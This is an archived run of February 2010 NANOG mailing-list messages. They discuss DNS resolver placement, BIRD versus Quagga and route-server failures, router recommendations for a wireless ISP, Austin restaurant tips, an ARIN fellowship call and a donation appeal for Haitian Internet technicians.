PM To: NANOG list Subject: Re: History of 4.2.2.2. What's the story? On Feb 16, 2010, at 10:24 PM, Frank Bulk wrote: > We do. It's at our upstream provider, just in case we had an upstream > connectivity issue or some internal meltdown that prevented those in the > outside world to hit our (authoritative) DNS servers. Of course, that's > most helpful for DNS records that resolve to IPs *outside* our network. What you describe - authorities used by people off your network to resolve A records with IP addresses outside your network - is not what Joe was describing. What the recursive name server your end users queried to resolve names, the IP address in their desktop's control panel, outside your network? I can see a small ISP using its upstream's recursive name server. But to the rest of the world, most small ISPs look like a part of their upstream's network. -- TTFN, patrick > === > > > For what it's worth, I have never heard of an ISP, big or small, > deciding to place resolvers used by their customers in someone else's > network. Perhaps I just need to get out more. > > Joe > > > From randy at psg.com Tue Feb 16 23:32:12 2010 From: randy at psg.com (Randy Bush) Date: Wed, 17 Feb 2010 14:32:12 +0900 Subject: BIRD vs Quagga In-Reply-To: <72F9A69DCF990443B2CEC064E605CE062777@Pascal.zaphodb.org> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> <72F9A69DCF990443B2CEC064E605CE062777@Pascal.zaphodb.org> Message-ID: http://archive.psg.com/080918.plnog-complex.pdf From jabley at hopcount.ca Tue Feb 16 23:42:26 2010 From: jabley at hopcount.ca (Joe Abley) Date: Tue, 16 Feb 2010 21:42:26 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> Message-ID: <74AC83CA-8BB9-4709-9301-2AAFB8527B5B@hopcount.ca> On 2010-02-16, at 20:35, Frank Bulk wrote: > Our nameservers handle both the authoritative and recursive traffic, As general advice, and as an aside, don't do that. (Aside from anything else, you're inserting authoritative answers in a lookup path that might not be found by a parent delegation, e.g. if you host a domain for someone who subsequently takes it elsewhere without telling you.) > If I understand your second sentence correctly, then yes, our DHCP server > hands out the DNS servers, of which one of the three is outside our own > network. Thanks for the counter-example. Joe From jabley at hopcount.ca Tue Feb 16 23:50:29 2010 From: jabley at hopcount.ca (Joe Abley) Date: Tue, 16 Feb 2010 21:50:29 -0800 Subject: BIRD vs Quagga In-Reply-To: <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org><2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com><9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com><4B75DB7D.9070308@ibctech.ca><5CC5BD71-7131-4703-9164-564017FD3616@daork.net><4B772F9D.3010003@nipper.de><5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk><4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> Message-ID: <2635C43D-6251-4A7A-8CF2-A97F6CB6C773@hopcount.ca> On 2010-02-16, at 19:53, Tomas L. Byrnes wrote: > There's significant theoretical work, backed up with lots of practical > experience connecting a lot more nodes in real time in a lot more places > than the Internet currently does, that posits that the control and > forwarding plane should actually ALWAYS be separate, and control higher > priority, so that state management converges faster than the dataflows. > > I'd like to see the countervailing, peer reviewed, references. I have no shortage of anecdotes where a non-trivial layer-2 topology at an exchange point has left my router and provider X's router both able to talk to a route server, but unable to talk to each other directly. Since the NEXT_HOP on routes we each learnt from the route server pointed at an address we couldn't talk to, the result was a black hole. So while your theoretical work might well have substantial merit, its application to the example at hand seems potentially lacking. I am somewhat intrigued at this network you mention with which people have practical experience that has more nodes than the Internet does, though. That'd be quite a network. Joe From morrowc.lists at gmail.com Wed Feb 17 00:00:07 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 17 Feb 2010 01:00:07 -0500 Subject: BIRD vs Quagga In-Reply-To: <2635C43D-6251-4A7A-8CF2-A97F6CB6C773@hopcount.ca> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> <2635C43D-6251-4A7A-8CF2-A97F6CB6C773@hopcount.ca> Message-ID: <75cb24521002162200w4467e47at69e9748286bc7c25@mail.gmail.com> On Wed, Feb 17, 2010 at 12:50 AM, Joe Abley wrote: > > I am somewhat intrigued at this network you mention with which people have practical experience that has more nodes than the Internet does, though. That'd be quite a network. > > what's the current estimate on PSTN endpoints? 2-3B globally? is that more/less than the IP/Internet world? I bet it's, at this time, fairly close to the same number. Potential references: thinks the ITU estimated ~33% of 1.4b devices were mobile phones (in 2002) wikipedia thinks a total mobile phone market is ~4.1b phones with ~60% global penetration. number of PSTN lines globally ~= 1.3b So a total across the wikipedia links says ~5.5b phone devices. That seems significantly more than IP devices. I did not, obviously, factor in phones which are also IP devices (your iPhone type thingy) -Chris From jabley at hopcount.ca Wed Feb 17 00:03:58 2010 From: jabley at hopcount.ca (Joe Abley) Date: Tue, 16 Feb 2010 22:03:58 -0800 Subject: BIRD vs Quagga In-Reply-To: <75cb24521002162200w4467e47at69e9748286bc7c25@mail.gmail.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> <2635C43D-6251-4A7A-8CF2-A97F6CB6C773@hopcount.ca> <75cb24521002162200w4467e47at69e9748286bc7c25@mail.gmail.com> Message-ID: On 2010-02-16, at 22:00, Christopher Morrow wrote: > On Wed, Feb 17, 2010 at 12:50 AM, Joe Abley wrote: >> > >> I am somewhat intrigued at this network you mention with which people have practical experience that has more nodes than the Internet does, though. That'd be quite a network. > > what's the current estimate on PSTN endpoints? 2-3B globally? True, I was thinking about packet-switched networks, since it always seems to me that a circuit-switched network is only as big at any time as the number of circuits that exist, not the number of possible termination points for circuits. Quite possibly I'm just smoking crack, however. Joe From morrowc.lists at gmail.com Wed Feb 17 00:18:58 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 17 Feb 2010 01:18:58 -0500 Subject: BIRD vs Quagga In-Reply-To: References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> <2635C43D-6251-4A7A-8CF2-A97F6CB6C773@hopcount.ca> <75cb24521002162200w4467e47at69e9748286bc7c25@mail.gmail.com> Message-ID: <75cb24521002162218y1765d6e9gc0e9f5a99ce6a51f@mail.gmail.com> On Wed, Feb 17, 2010 at 1:03 AM, Joe Abley wrote: > > On 2010-02-16, at 22:00, Christopher Morrow wrote: > >> On Wed, Feb 17, 2010 at 12:50 AM, Joe Abley wrote: >>> >> >>> I am somewhat intrigued at this network you mention with which people have practical experience that has more nodes than the Internet does, though. That'd be quite a network. >> >> what's the current estimate on PSTN endpoints? 2-3B globally? > > True, I was thinking about packet-switched networks, since it always seems to me that > a circuit-switched network is only as big at any time as the number of circuits that exist, I almost made a comment that the PSTN is really (as far as routing is concerned) lots of disparate networks with no 'global view' of the problem. It can be argued (and randy likely will, or bmanning even) that the Internet doesn't have a single view either... There's loop protection in the routing data, which the PSTN doesn't really have. (which is a side problem) > not the number of possible termination points for circuits. Quite possibly I'm just > smoking crack, however. doubtful... probably me missing a terminology collision :( It also depends on how Tomas was defining his problem. I still say the PSTN and Internet are apples/oranges in so many ways you can't use them in an comparision. -chris From khuon at neebu.net Wed Feb 17 01:03:23 2010 From: khuon at neebu.net (Jake Khuon) Date: Tue, 16 Feb 2010 23:03:23 -0800 Subject: BIRD vs Quagga In-Reply-To: <2635C43D-6251-4A7A-8CF2-A97F6CB6C773@hopcount.ca> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> <2635C43D-6251-4A7A-8CF2-A97F6CB6C773@hopcount.ca> Message-ID: <1266390203.13497.68.camel@localhost> On Tue, 2010-02-16 at 21:50 -0800, Joe Abley wrote: > On 2010-02-16, at 19:53, Tomas L. Byrnes wrote: > > > There's significant theoretical work, backed up with lots of practical > > experience connecting a lot more nodes in real time in a lot more places > > than the Internet currently does, that posits that the control and > > forwarding plane should actually ALWAYS be separate, and control higher > > priority, so that state management converges faster than the dataflows. > > > > I'd like to see the countervailing, peer reviewed, references. > > I have no shortage of anecdotes where a non-trivial layer-2 topology > at an exchange point has left my router and provider X's router both > able to talk to a route server, but unable to talk to each other > directly. Since the NEXT_HOP on routes we each learnt from the route > server pointed at an address we couldn't talk to, the result was a > black hole. I have similar anecdotes... and I was on the side of running the route-servers. This gets to be a tough nut to crack especially if you happen to have multiple RSes on opposite ends of a layer2 failure (a case where intended redundancy resulted in unintended new failure modes). The best solution we came up with at the time was to add some control knobs to rsd in order to allow us to quickly take down the BGP session to the peer on the falsely advertising RS. Figuring out which third-party negotiated "pairwise peering" was being effected during a switch fabric breakage was done manually at the time and not all that accurate nor of course was it expedient. We attempted to automate that part without too much success. -- /*=================[ Jake Khuon ]=================+ | Packet Plumber, Network Engineers /| / [~ [~ |) | | -------- | | for Effective Bandwidth Utilisation / |/ [_ [_ |) |_| NETWORKS | +==================================================================*/ From khuon at neebu.net Wed Feb 17 01:25:08 2010 From: khuon at neebu.net (Jake Khuon) Date: Tue, 16 Feb 2010 23:25:08 -0800 Subject: BIRD vs Quagga In-Reply-To: <1266390203.13497.68.camel@localhost> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> <72F9A69DCF990443B2CEC064E605CE062775@Pascal.zaphodb.org> <2635C43D-6251-4A7A-8CF2-A97F6CB6C773@hopcount.ca> <1266390203.13497.68.camel@localhost> Message-ID: <1266391508.13497.74.camel@localhost> On Tue, 2010-02-16 at 23:03 -0800, Jake Khuon wrote: > The best solution we came up with at the time was to add some control > knobs to rsd in order to allow us to quickly take down the BGP session > to the peer on the falsely advertising RS. Sorry... this was poorly worded. We did not actually tear down the BGP sessions. I should have placed quotes around "BGP session". What we did was virtually nuked the "view" in the RS of the pairwise peering thus forcing a BGP withdrawal to the effected peers of the RS and hopefully leaving only valid third-party views intact. Again, the greatest problem was detection and modeling. -- /*=================[ Jake Khuon ]=================+ | Packet Plumber, Network Engineers /| / [~ [~ |) | | -------- | | for Effective Bandwidth Utilisation / |/ [_ [_ |) |_| NETWORKS | +==================================================================*/ From leigh.porter at ukbroadband.com Wed Feb 17 02:15:08 2010 From: leigh.porter at ukbroadband.com (Leigh Porter) Date: Wed, 17 Feb 2010 08:15:08 -0000 Subject: Recommendations for router with routed copper gig-e ports? References: <07e801caadb6$23b15dc0$6b141940$@org> Message-ID: I have tried some of the Garrett stuff in the lab. It's OK but I don't at all like their web interface or CLI. I echo some previous comments, it you want something cheap, flexible and fast enough then you can't beat a little Linux box.. -- Leigh Porter -----Original Message----- From: Frank Bulk - iName.com [mailto:frnkblk at iname.com] Sent: Wed 2/17/2010 12:01 AM To: 'Lorell Hathcock'; 'North American Network Operators Group' Subject: RE: Recommendations for router with routed copper gig-e ports? Not sure if this meets your needs, but here's some ruggedized stuff: http://www.garrettcom.com/routers.htm Sure you need GigE? Frank -----Original Message----- From: Lorell Hathcock [mailto:lorell at hathcock.org] Sent: Sunday, February 14, 2010 2:42 PM To: 'North American Network Operators Group' Subject: Recommendations for router with routed copper gig-e ports? All: I'm involved in a project where we are cutting over a WISP from being a single broadcast domain into the grownup real world of routing between tower nodes. Of course the equipment is all Mikrotik and the single broadcast domain was easy to implement, so that's why it was done this way. My problem on the redesign is I want to provide routed, copper gig-e ports at a reasonable price per port. My thought is to provide one copper gig-e port for all of the APs at a tower and a copper gig-e port for each backhaul to other towers (typically 2 to 4). On the core nodes, I want to have one fiber gig-e port for the internet connection. BGP would be implemented on the routers that connect to the internet. OSPF would be implemented on all of the backhaul ports. So number of routed, copper gig-e ports at each tower would be: 1 - AP network (need suggestion for cost effective gig-e switch) 2 to 4 - back haul ports 1 - internet port (on one out of every 4 towers or so) (and most likely fiber instead of copper) Does anyone have any suggestions? Sincerely, Lorell Hathcock OfficeConnect.net | 832-665-3400 x101 (o) | 713-992-2343 (f) | lorell at officeconnect.net Texas State Security Contractor License | ONSSI Certified Channel Partner Axis Communications Channel Partner | BICSI Corporate Member Leviton Authorized Installer From thomas.mangin at exa-networks.co.uk Wed Feb 17 03:21:56 2010 From: thomas.mangin at exa-networks.co.uk (Thomas Mangin) Date: Wed, 17 Feb 2010 09:21:56 +0000 Subject: BIRD vs Quagga In-Reply-To: <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> Message-ID: <0D274F54-510B-4192-934E-C065BF73BE06@exa-networks.co.uk> > During the discussion, a developers of Bird said that their filtering code _may_ still have bugs (when performing community based filtering). Someone rightly pointed to me that the commenter was not a BIRD developer .. my mistake sorry. I will "recall" my statement until I can watch to the webcast archive of the meeting. Thomas From nick at foobar.org Wed Feb 17 05:48:06 2010 From: nick at foobar.org (Nick Hilliard) Date: Wed, 17 Feb 2010 11:48:06 +0000 Subject: BIRD vs Quagga In-Reply-To: References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> <4B7B0D9A.3010401@foobar.org> Message-ID: <4B7BD776.8000807@foobar.org> On 17/02/2010 01:19, Randy Bush wrote: > i would add decades of bad anecdotes where the data plane is not > congruent with the control plane. in general, when plane N is not > congruent with plane N+1, management and debugging are problematic. I've always maintained publicly and privately that route servers are not for everyone. A good rule of thumb is: "using a route collector for peering is probably suitable for your network unless you know why it isn't". Interesting choice of wording: "decades of bad anecdotes". Does that mean anecdata? Nick From jmamodio at gmail.com Wed Feb 17 06:09:48 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Wed, 17 Feb 2010 06:09:48 -0600 Subject: austin eats In-Reply-To: References: <4B7B4F0C.7080604@psg.com> Message-ID: <202705b1002170409m57a3e6e9m24e9be5a1a2cfd88@mail.gmail.com> It really depends on what do yo like to eat, there are many places in Austin, very decent eateries around UT sites/dorms. Is in the south area of Austin, not downtown, but whenever we go there we love to stop by La Loca Maria Taco Express, http://www.tacoxpress.com, it's one of those traditional joints whit some history, very well known and frequented by students and faculty and perhaps some of the best tacos I ever had with an Argentinean twist (Maria is a native from AR). This is a good reference I regularly use: http://www.austinchronicle.com/gyrobase/Guides/Restaurant If you want to eat country food, you better get to the Hill Country, I learned that you can find better chicken fried steak outside metropolitan areas. But, if you are up for a ~60mi drive to the south, I'll bake you some home made Argentinean empanadas :-) Cheers Jorge PS. Have a great trip and "stay weird" From tim at baseworx.net Wed Feb 17 06:12:19 2010 From: tim at baseworx.net (Tim McKee) Date: Wed, 17 Feb 2010 07:12:19 -0500 Subject: Request Recommendation for ISDN Service in London UK Message-ID: <00d501caafca$7762d1e0$662875a0$@net> My apologies for the non-operational nature of this query. Please respond to tmckee at sdnglobal.com so that we can keep non-relevant messages off the list. I have need of a recommendation for an ISDN PRI provider in my Telecity Sovereign House colo (London UK). Also, it has been quite a while since I have dealt with ISDN RAS and need an experienced engineer on the ground to work with installation and configuration of the service. Any and all recommendations will be greatly appreciated. Tim McKee From john_brzozowski at cable.comcast.com Wed Feb 17 06:49:54 2010 From: john_brzozowski at cable.comcast.com (John Jason Brzozowski) Date: Wed, 17 Feb 2010 07:49:54 -0500 Subject: Looking for contact from the University of Wisconsin Madison (146.151.0.0/16) Message-ID: Anyone have a contact at University of Wisconsin Madison (146.151.0.0/16)? Would really like to talk to someone who is involved with running the network over there. Thanks, John ========================================= John Jason Brzozowski Comcast Cable e) mailto:john_brzozowski at cable.comcast.com o) 609-377-6594 m) 484-962-0060 w) http://www.comcast6.net ========================================= From jgreco at ns.sol.net Wed Feb 17 06:56:47 2010 From: jgreco at ns.sol.net (Joe Greco) Date: Wed, 17 Feb 2010 06:56:47 -0600 (CST) Subject: Looking for contact from the University of Wisconsin Madison In-Reply-To: from "John Jason Brzozowski" at Feb 17, 2010 07:49:54 AM Message-ID: <201002171256.o1HCulUZ012677@aurora.sol.net> > Anyone have a contact at University of Wisconsin Madison (146.151.0.0/16)? > > Would really like to talk to someone who is involved with running the > network over there. Depending on your issue, you might actually want to talk to WiscNet. For UW Madison, you can also talk to noc at doit.wisc.edu. People like Dave Plonka irregularly make appearances here; Dave is friendly and can be reached at plonka at cs.wisc.edu, though I'm not sure what his exact role is. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From john_brzozowski at cable.comcast.com Wed Feb 17 07:05:36 2010 From: john_brzozowski at cable.comcast.com (John Jason Brzozowski) Date: Wed, 17 Feb 2010 08:05:36 -0500 Subject: Looking for contact from the University of Wisconsin Madison In-Reply-To: <201002171256.o1HCulUZ012677@aurora.sol.net> Message-ID: Thanks Joe. On 2/17/10 7:56 AM, "Joe Greco" wrote: >> Anyone have a contact at University of Wisconsin Madison (146.151.0.0/16)? >> >> Would really like to talk to someone who is involved with running the >> network over there. > > Depending on your issue, you might actually want to talk to WiscNet. > For UW Madison, you can also talk to noc at doit.wisc.edu. People like > Dave Plonka irregularly make appearances here; Dave is friendly and > can be reached at plonka at cs.wisc.edu, though I'm not sure what his exact > role is. > > ... JG > -- > Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net > "We call it the 'one bite at the apple' rule. Give me one chance [and] then I > won't contact you again." - Direct Marketing Ass'n position on e-mail > spam(CNN) > With 24 million small businesses in the US alone, that's way too many apples. ========================================= John Jason Brzozowski Comcast Cable e) mailto:john_brzozowski at cable.comcast.com o) 609-377-6594 m) 484-962-0060 w) http://www.comcast6.net ========================================= From packetgrrl at gmail.com Wed Feb 17 08:59:33 2010 From: packetgrrl at gmail.com (cja@daydream.com) Date: Wed, 17 Feb 2010 07:59:33 -0700 Subject: Last Call for Applicants - ARIN Meetings Fellowship Program In-Reply-To: <4B7BE4C5.4000507@arin.net> References: <4B7BE4C5.4000507@arin.net> Message-ID: Hi everyone, If you know someone who would make a good candidate for the ARIN Fellowship Program. Please send this along to him/her. Thanks! ----Cathy ========================================================= **We encourage ARIN members to spread the word about this exciting opportunity to bring new faces and opinions to the next ARIN Public Policy and Members Meeting. If you know someone that may be interested in attending their first ARIN meeting, then pass this message along.** ARIN is pleased to offer a Meetings Fellowship Program to bring new voices and ideas to public policy discussions. This call is for Fellows to attend ARIN XXV in Toronto, Canada 18-21 April 2010. If you are interested in participating in the program, submit your application by this Friday, 19 February. The application, submission instructions, and a detailed description of the program can be found at: https://www.arin.net/participate/meetings/fellowship.html One individual from each of the three sectors within ARIN's service region (Canada, the Caribbean and North Atlantic Islands, and the United States and Outlying Areas) will be selected. Fellows receive financial support to attend the Public Policy and Members Meeting, and ARIN Advisory Council representatives will serve as mentors to the fellows to help maximize their meeting experience. Individuals selected for the fellowship receive: * Free meeting registration https://www.arin.net/participate/meetings/ARIN-XXV/ * Round-trip economy class airfare to the meeting, booked directly by ARIN * Hotel accommodations at the venue hotel, booked directly by ARIN * A stipend to cover meals and incidental travel expenses. Please contact info at arin.net if you have any questions concerning the program and the application process. Regards, Member Services American Registry for Internet Numbers (ARIN) _______________________________________________ ARIN-Announce You are receiving this message because you are subscribed to the ARIN Announce Mailing List (ARIN-announce at arin.net). Unsubscribe or manage your mailing list subscription at: http://lists.arin.net/mailman/listinfo/arin-announce Please contact info at arin.net if you experience any issues. From michael.oconnor at txstate.edu Wed Feb 17 09:01:43 2010 From: michael.oconnor at txstate.edu (O'Connor, Michael) Date: Wed, 17 Feb 2010 09:01:43 -0600 Subject: austin eats In-Reply-To: References: <4B7B4F0C.7080604@psg.com> Message-ID: <348887EF310B1D428C078A379C63EE10E7A315FD90@BOBCATMAIL1.matrix.txstate.edu> -----Original Message----- From: Randy Bush [mailto:randy at psg.com] Sent: Tuesday, February 16, 2010 8:13 PM To: North American Network Operators Group Subject: austin eats is there a nanog austin eats page somewhere? i lost my old link to some wiki we used to use. and, a completely unverified recco from an austin friend (who thinks chicken fried steak is the meat nearest heaven). > I spoke to my colleague who has lived in Austin more recently than I > have. > > He recommends North By Northwest highly, in the Arboretum area. > > http://www.nxnwbrew.com/ > > When I was a Texan in exile, I would always, on returning, worship at > the shrine of Chicken Fried Steak. Threadgill's is a timeless classic > that specializes in it. Ken Threadgill was an Austin legend, who gave > Janis Joplin one of her first paying gigs. Bonus: Manager Eddie Wilson > was the Ranch Boss at the Armadillo World Headquarters, and has a shrine > of posters and pictures from the font of Austin weirdness. > > http://www.threadgills.com/ > > He also recommends Urbanspoon as an online info source. > > http://www.urbanspoon.com/c/11/Austin-restaurants.html > > Welcome, y'all. There are many good locations along the 'Drag' near campus; a strench of Guadalupe [http://tinyurl.com/ygqhrew] that includes many excellent local venues including 5 Guy's Burger and Kirby Lane Cafe. If you hang around the intersection of 6th and 7th street(s), you can check out Wahoo's Fish Taco or Kat'z Deli & Bar. South of the lake on Barton Springs [http://tinyurl.com/yj5ctx3] includes an Austin favorite, Chuy's. As well as Uncle Billy's Brew&Que (which doubles as a local brewery). Honorable mention includes P Terry's (cheap burger joint on the corner of Barton Springs and Lamar) If you're willing to travel outside of downtown, Trudy's on South I35 is popular. I'm a big fan of Aster's Ethiopian just North of Dean Keeton on South I35. Comparable to Chuy's (and owned by the same people) is The Hula Hut, on Lake Austin Boulevard which provides a view of the lake (the outside deck is nice if it is warm enough). Though, if you've got a break or some time in the evening Austin's Alamo Draft House is a must see. A movie theatre in which you can order drinks/food while you watch. Though you'd think it terribly distracting, the South Lamar theatre [http://www.originalalamo.com/Default.aspx?l=4] provides stadium style seating which keeps servers relatively out of view. Any of the theaters are worth checking out, and several include limited release and/or independent films. (All links are to maps.google.com) -Michael From mike.lyon at gmail.com Wed Feb 17 10:33:20 2010 From: mike.lyon at gmail.com (Mike Lyon) Date: Wed, 17 Feb 2010 08:33:20 -0800 Subject: austin eats In-Reply-To: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> Message-ID: <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> Don't forget the Salt Lick... http://www.saltlickbbq.com/locations_driftwood.html Dry county so bring your own booze... -Mike On Tue, Feb 16, 2010 at 7:39 PM, Jason J. W. Williams < williamsjj at digitar.com> wrote: > For BBQ, Rudy's is hard to beat: > > http://www.rudys.com/ > > -J > -------- > Jason J. W. Williams, COO/CTO > DigiTar > williamsjj at digitar.com > > V: 208.343.8520 > F: 208.322.8522 > M: 208.863.0727 > > www.digitar.com > > On Feb 16, 2010, at 7:12 PM, Randy Bush wrote: > > > > > is there a nanog austin eats page somewhere? i lost my old link to some > > wiki we used to use. > > > > and, a completely unverified recco from an austin friend (who thinks > > chicken fried steak is the meat nearest heaven). > > > >> I spoke to my colleague who has lived in Austin more recently than I > >> have. > >> > >> He recommends North By Northwest highly, in the Arboretum area. > >> > >> http://www.nxnwbrew.com/ > >> > >> When I was a Texan in exile, I would always, on returning, worship at > >> the shrine of Chicken Fried Steak. Threadgill's is a timeless classic > >> that specializes in it. Ken Threadgill was an Austin legend, who gave > >> Janis Joplin one of her first paying gigs. Bonus: Manager Eddie Wilson > >> was the Ranch Boss at the Armadillo World Headquarters, and has a shrine > >> of posters and pictures from the font of Austin weirdness. > >> > >> http://www.threadgills.com/ > >> > >> He also recommends Urbanspoon as an online info source. > >> > >> http://www.urbanspoon.com/c/11/Austin-restaurants.html > >> > >> Welcome, y'all. > > > > !SIG:4b7b50f9162721632411545! > > > > From cboyd at gizmopartners.com Wed Feb 17 10:39:30 2010 From: cboyd at gizmopartners.com (Chris Boyd) Date: Wed, 17 Feb 2010 10:39:30 -0600 Subject: austin eats In-Reply-To: <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> Message-ID: <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> On Feb 17, 2010, at 10:33 AM, Mike Lyon wrote: > Don't forget the Salt Lick... BBQ lovers should go to House Park BBQ. Most of the time the sign out front says "you don't need no teef to eat my meef" http://www.yelp.com/biz/house-park-bar-b-q-austin Cash only! If you want to make a short drive out to the east side of town and help your cardiologist make a boat payment or two, get the Don Juan breakfast taco from Juan in a Million. This place was featured on "Man vs. Food" a while back. http://www.juaninamillion.com/ If you get tired of Tex-Mex, there's a good interior Mexican place downtown. Manuel's. http://www.manuels.com/ Guiness fans should stop in at BD Riley's downtown. http://www.bdrileys.com/ Most coffee shops, bars and restaurants have wifi hotspots since there's an active group of volunteers that helps install and maintain them. --Chris From brunner at nic-naa.net Wed Feb 17 12:10:28 2010 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Wed, 17 Feb 2010 13:10:28 -0500 Subject: 2nd send: =?UTF-8?B?QWRvcHTigJBhbuKAkEhhaXRpYW7igJBJbnRlcm5ldOKAkA==?= =?UTF-8?B?dGVjaG5pY2lhbuKAkG9y4oCQZmFjaWxpdHk=?= Message-ID: <4B7C3114.2060002@nic-naa.net> Folks, This is a slightly edited, and _unsigned_ resend of my note of the 8th. In an effort to "unbury the lede", the bank routing info is at the top of the post, as well as the bottom ;-) Bank: SOGEBANK Bank Address : Route de Delmas, Delmas 29, Port-au-Prince, HAITI Account Number: 130212988 Swift code : SOGHHTPP Beneficiary : Association Ha?tienne pour le D?veloppement des Technologies de l?Information et de la Communication, 18, rue Moise, P?tion-Ville, HAITI I appreciate the anonymous offers, of money, time, and talent that have been sent me. The money should go to the address above, unless this is too cumbersome, in which case drop me a line and I'll work something out. Those of you with corporate responsibility contacts within your employers or clients, if you would write a "why network continuity is a good thing" cover and forward this internally, that could add to the amount AHTIC collects through this public ask. I've posted an HTML version here: http://www.circleid.com/posts/project_title_adopt_an_haitian_internet_technician_or_facility/ and here: http://wampum.wabanaki.net/vault/2010/02/005491.html The text version follows. ==== 